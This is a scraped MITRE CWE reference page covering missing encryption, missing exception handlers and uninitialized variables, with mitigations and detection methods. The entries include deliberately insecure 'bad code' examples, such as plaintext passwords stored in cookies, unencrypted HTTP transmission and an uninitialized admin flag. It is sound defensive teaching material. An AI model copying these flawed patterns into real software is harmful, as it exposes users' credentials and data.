PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.327Use of a Broken or Risky Cryptographic Algorithm
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.312Cleartext Storage of Sensitive Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.319Cleartext Transmission of Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server.
Confidentiality
Integrity

Technical Impact: Modify Application Data

Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code writes a user's login information to a cookie so the user does not have to login again later.

(bad code)
Example Language: PHP 
function persistLogin($username, $password){
$data = array("username" => $username, "password"=> $password);
setcookie ("userdata", $data);
}

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 2

The following code attempts to establish a connection, read in a password, then store it to a buffer.

(bad code)
Example Language:
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {

write(dfd,password_buffer,n);
...

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 3

The following code attempts to establish a connection to a site to communicate sensitive information.

(bad code)
Example Language: Java 
try {
URL u = new URL("http://www.secret.example.org/");
HttpURLConnection hu = (HttpURLConnection) u.openConnection();
hu.setRequestMethod("PUT");
hu.connect();
OutputStream os = hu.getOutputStream();
hu.disconnect();
}
catch (IOException e) {

//...
}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

+ Observed Examples
ReferenceDescription
password and username stored in cleartext in a cookie
password stored in cleartext in a file with insecure permissions
chat program disables SSL in some circumstances even when the user says to use SSL.
Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
storage of unencrypted passwords in a database
storage of unencrypted passwords in a database
product stores a password in cleartext in memory
storage of a secret key in cleartext in a temporary file
SCADA product uses HTTP Basic Authentication, which is not encrypted
login credentials stored unencrypted in a registry key
Passwords transmitted in cleartext.
Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
Product sends password hash in cleartext in violation of intended policy.
Remote management feature sends sensitive information including passwords in cleartext.
Backup routine sends password in cleartext in email.
Product transmits Blowfish encryption key in cleartext.
Printer sends configuration information, including administrative password, in cleartext.
Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
Product sends passwords in cleartext to a log server.
Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
+ Potential Mitigations

Phase: Requirements

Clearly specify which data or resources are valuable enough that they should be protected by encryption. Require that any transmission or storage of this data/resource should use well-vetted encryption algorithms.

Phase: Architecture and Design

Ensure that encryption is properly integrated into the system design, including but not necessarily limited to:

  • Encryption that is needed to store or transmit private data of the users of the system
  • Encryption that is needed to protect the system itself from unauthorized disclosure or tampering

Identify the separate needs and contexts for encryption:

  • One-way (i.e., only the user or recipient needs to have the key). This can be achieved using public key cryptography, or other techniques in which the encrypting party (i.e., the product) does not need to have access to a private key.
  • Two-way (i.e., the encryption can be automatically performed on behalf of a user, but the key must be available so that the plaintext can be automatically recoverable by that user). This requires storage of the private key in a format that is recoverable only by the user (or perhaps by the operating system) in a way that cannot be recovered by others.

Using threat modeling or other techniques, assume that data can be compromised through a separate vulnerability or weakness, and determine where encryption will be most effective. Ensure that data that should be private is not being inadvertently exposed using weaknesses such as insecure permissions (CWE-732). [REF-7]

Phase: Architecture and Design

Strategy: Libraries or Frameworks

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.

For example, US government systems require FIPS 140-2 certification.

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.

Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phases: Implementation; Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Phase: Implementation

Strategy: Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness: Defense in Depth

Note: This makes it easier to spot places in the code where data is being used that is unencrypted.
+ Detection Methods

Manual Analysis

The characterizaton of sensitive data often requires domain-specific understanding, so manual methods are useful. However, manual efforts might not achieve desired code coverage within limited time constraints. Black box methods may produce artifacts (e.g. stored data or unencrypted network transfer) that require manual evaluation.

Effectiveness: High

Automated Analysis

Automated measurement of the entropy of an input/output source may indicate the use or lack of encryption, but human analysis is still required to distinguish intentionally-unencrypted data (e.g. metadata) from sensitive data.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Network Sniffer
Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Man-in-the-middle attack tool

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.719OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.720OWASP Top Ten 2007 Category A9 - Insecure Communications
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.729OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8032010 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.816OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.818OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.861The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8662011 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.934OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1152SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

CWE-311 is high-level with more precise children available. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Consider children CWE-312: Cleartext Storage of Sensitive Information or CWE-319: Cleartext Transmission of Sensitive Information.
+ Notes

Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to encrypt data
OWASP Top Ten 2007A8CWE More SpecificInsecure Cryptographic Storage
OWASP Top Ten 2007A9CWE More SpecificInsecure Communications
OWASP Top Ten 2004A8CWE More SpecificInsecure Storage
WASC4Insufficient Transport Layer Protection
The CERT Oracle Secure Coding Standard for Java (2011)MSC00-JUse SSLSocket rather than Socket for secure data exchange
Software Fault PatternsSFP23Exposed Data
ISA/IEC 62443Part 3-3Req SR 4.1
ISA/IEC 62443Part 3-3Req SR 4.3
ISA/IEC 62443Part 4-2Req CR 4.1
ISA/IEC 62443Part 4-2Req CR 7.3
ISA/IEC 62443Part 4-2Req CR 1.5
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.
[REF-265] Frank Kim. "Top 25 Series - Rank 10 - Missing Encryption of Sensitive Data". SANS Software Security Institute. 2010-02-26. <https://www.sans.org/blog/top-25-series-rank-10-missing-encryption-of-sensitive-data/>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Encryption", Page 43. 1st Edition. Addison Wesley. 2006.
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2023-11-14
(CWE 4.14, 2024-02-29)
participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop
Contributed or reviewed taxonomy mappings for ISA/IEC 62443
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Potential_Mitigations, References
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations, References
2013-07-17CWE Content TeamMITRE
updated Relationship_Notes
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, Potential_Mitigations, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Type
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Taxonomy_Mappings
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Failure to Encrypt Data
2010-02-16Failure to Encrypt Sensitive Data

CWE-431: Missing Handler

Weakness ID: 431
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A handler is not available or implemented.
+ Extended Description
When an exception is thrown and not caught, the process has given up an opportunity to decide if a given failure or event is worth a change in execution.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.691Insufficient Control Flow Management
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.433Unparsed Raw Web Content Delivery
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.429Handler Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Demonstrative Examples

Example 1

If a Servlet does not catch all exceptions, it may reveal debugging information that will help an adversary form a plan of attack. In the following method a DNS lookup failure will cause the Servlet to throw an exception.

(bad code)
Example Language: Java 
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
String ip = req.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
...
out.println("hello " + addr.getHostName());
}

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker.

+ Observed Examples
ReferenceDescription
SDK for OPC Unified Architecture (OPC UA) is missing a handler for when a cast fails, allowing for a crash
+ Potential Mitigations

Phase: Implementation

Handle all possible situations (e.g. error condition).

Phase: Implementation

If an operation can throw an Exception, implement a handler for that specific exception.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMissing Handler
Software Fault PatternsSFP4Unchecked Status Condition
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "File Handlers", Page 74. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2010-12-13CWE Content TeamMITRE
updated Description, Other_Notes
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-456: Missing Initialization of a Variable

Weakness ID: 456
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not initialize critical variables, which causes the execution environment to use unexpected values.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.909Missing Initialization of Resource
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.89Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.457Use of Uninitialized Variable
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.665Improper Initialization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.665Improper Initialization
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Unexpected State; Quality Degradation; Varies by Context

The uninitialized data may be invalid, causing logic errors within the program. In some cases, this could result in a security problem.
+ Demonstrative Examples

Example 1

This function attempts to extract a pair of numbers from a user-supplied string.

(bad code)
Example Language:
void parse_data(char *untrusted_input){
int m, n, error;
error = sscanf(untrusted_input, "%d:%d", &m, &n);
if ( EOF == error ){
die("Did not specify integer value. Die evil hacker!\n");
}
/* proceed assuming n and m are initialized correctly */
}

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

(attack code)
 
123:

then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).

Example 2

Here, an uninitialized field in a Java class is used in a seldom-called method, which would cause a NullPointerException to be thrown.

(bad code)
Example Language: Java 
private User user;
public void someMethod() {

// Do something interesting.
...

// Throws NPE if user hasn't been properly initialized.
String username = user.getName();
}

Example 3

This code first authenticates a user, then allows a delete command if the user is an administrator.

(bad code)
Example Language: PHP 
if (authenticate($username,$password) && setAdmin($username)){
$isAdmin = true;
}
/.../

if ($isAdmin){
deleteUser($userToDelete);
}

